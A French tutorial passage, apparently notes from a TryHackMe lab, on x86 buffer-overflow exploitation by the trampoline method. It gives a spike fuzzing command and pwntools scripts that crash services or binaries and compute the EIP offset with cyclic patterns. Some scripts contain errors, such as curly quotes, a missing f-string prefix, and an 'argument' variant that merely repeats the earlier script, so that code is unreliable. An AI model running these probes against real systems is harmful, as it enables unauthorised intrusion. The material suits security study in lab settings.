La méthode du trampoline
Contrairement à la méthode du saut directque nous avons vu précédemment dans BOF1 sur TryHackMe (méthode popularisée dans les années 90 d'après Gemini), nous allons nous concentrer sur la méthode du trampoline qui est bien plus fiable.
[!IMPORTANT] Cette méthode, telle qu'elle est présentée ci-dessous, fonctionne sur les architectures x86. Les architectures ARM ou x64 n'alignent pas la mémoire de la même manière, l'exploitation est donc différente.
Trouver l'overflow
Pour trouver l'overflow, nous injectons tous les paramêtres disponibles avec une chaine de caractères longue.
Exemple 1 : Service supportant les connexions TCP
Dans le cadre d'un service accessible par TCP, nous pouvons utiliser la commande generic_send_tcp pour tester le service par force brute :
generic_send_tcp 172.27.208.1 9999 stats.spk 0 0
Ou stats.spk est de la forme :
s_readline();
s_string("TRUN ");
s_string_variable("0");
Exemple 2 : Binaire prenant un input dans l'exécution
Dans le cadre d'un exécutable linux, nous pouvons faire un petit script python pour l'attaque par force brute :
from pwn import *
# Buffer de base
buf = 10
# Ouverture du process pointant sur le chemin du binaire vulnérable
io = process('./pwn')
# Définition d'une limite arbitraire (sinon : while True)
limit = 500
while buf < limit:
# Tant qu'on ne casse pas le programme tourne
try:
# Print du progrès pour s'assurer que ça tourne
print(f'Bruteforcing @ {buf}', end='\r')
# On passe jusqu'à arriver à l'input (ici l'input est après 'payload:')
io.recvregex(b'payload:')
# On envoi la charge
io.sendline(b'\x42' * buf)
# Si ça ne casse pas, on augmente le buffer de façon arbitraire
buf += 10
# Si ça casse
except Exception as e:
# On a peut être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
success(f'Broke with buffer @ {buf}')
# On sort de la boucle
break
# Si on n'a pas cassé avant la limite
if buf >= limit:
error('Exhausted')
Exemple 3 : Binaire prenant un imput dans les arguments
Dans le cadre d'un exécutable qui prend un argument à l'exécution, nous pouvons faire un petit script python pas très propre pour faire l'attaque par force brute (process de pwntools est très verbeux et je n'ai pas trouvé comment faire mieux) :
from pwn import *
# Buffer de base
buf = 10
# Définition d'une limite arbitraire (sinon : while True)
limit = 500
while buf < limit:
# Tant qu'on ne casse pas le programme tourne
try:
# Ouverture du process pointant sur le chemin du binaire vulnérable
io = process(['./vuln', '-argument_vuln', 'A' * buf], stdin=DEVNULL, stdout=DEVNULL)
# On attend la fin d'exécution
io.wait()
# On récupère l'exit code:
c = io.poll()
# Si ça casse, on est bon
if c!=0:
success(f'Broke with a buffer of : {buf}')
break
# Si ça casse pas, on augmente le buffer
buf += 10
# Si ça casse complet
except Exception as e:
# On a peut être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
success(f'Broke with buffer @ {buf}')
# On sort de la boucle
break
# Si on n'a pas cassé avant la limite
if buf >= limit:
error('Exhausted')
Trouver l'offset
Une fois que nous avons trouvé le paramètre à exploiter, nous pouvons commencer à chercher l'offset.
Option 1 : Nous avons le binaire
Méthode 1 : Windows
S'il s'agit d'un binaire pour windows, nous l'ouvrons dans Immunity Debugger jusqu'à ce qu'il soit en mode "Running".
Une fois le programme lancé dans le débugger, nous passons à l'offensive dans notre console en lançant le programme python suivant :
from pwn import *
# On ouvre une connexion avec notre service
io = remote('172.27.208.1', 9999)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoit le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On demande à l'utilisateur la valeur qu'il lit dans l'EIP sur ImmunityDebugger
h = bytes.fromhex(input('EIP hex value :'))[::-1]
# On calcule l'offset
o = cyclic_find(h)
info(f"Found offset : {o}")
Et comme ça, nous avons trouver l'offset qui est en fait égal à taille du buffer + taille de l'EBP.
Méthode 2 : Linux
Dans linux s'est un peu plus simple encore, puisque nous pouvons attacher le binaire :
from pwn import *
# On attache notre binaire
io = process(‘./caf’)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoit le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On attend que le programme plante
io.wait()
# On dump le core
core = io.corefile
# On récupère les infos de l'eip
eip = core.eip
# On cherche la valeur de l'eip dans le cycle
o = cyclic_find(pack(eip))
success('Found offset : {o}')
[!NOTE] Pour un overflow par argument Le script est très similaire dans ce cas, il devient :
from pwn import *
On attache notre binaire
io = process(‘./caf’)
On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
On envoit le payload qui va faire planter le programme
info('Sending payload') io.sendline(payload)
On attend que le programme plante
io.wait()
On dump le core
core = io.corefile
On récupère les infos de l'eip
eip = core.eip
On cherche la valeur de l'eip dans le cycle
o = cyclic_find(pack(eip))
success('Found offset : {o}')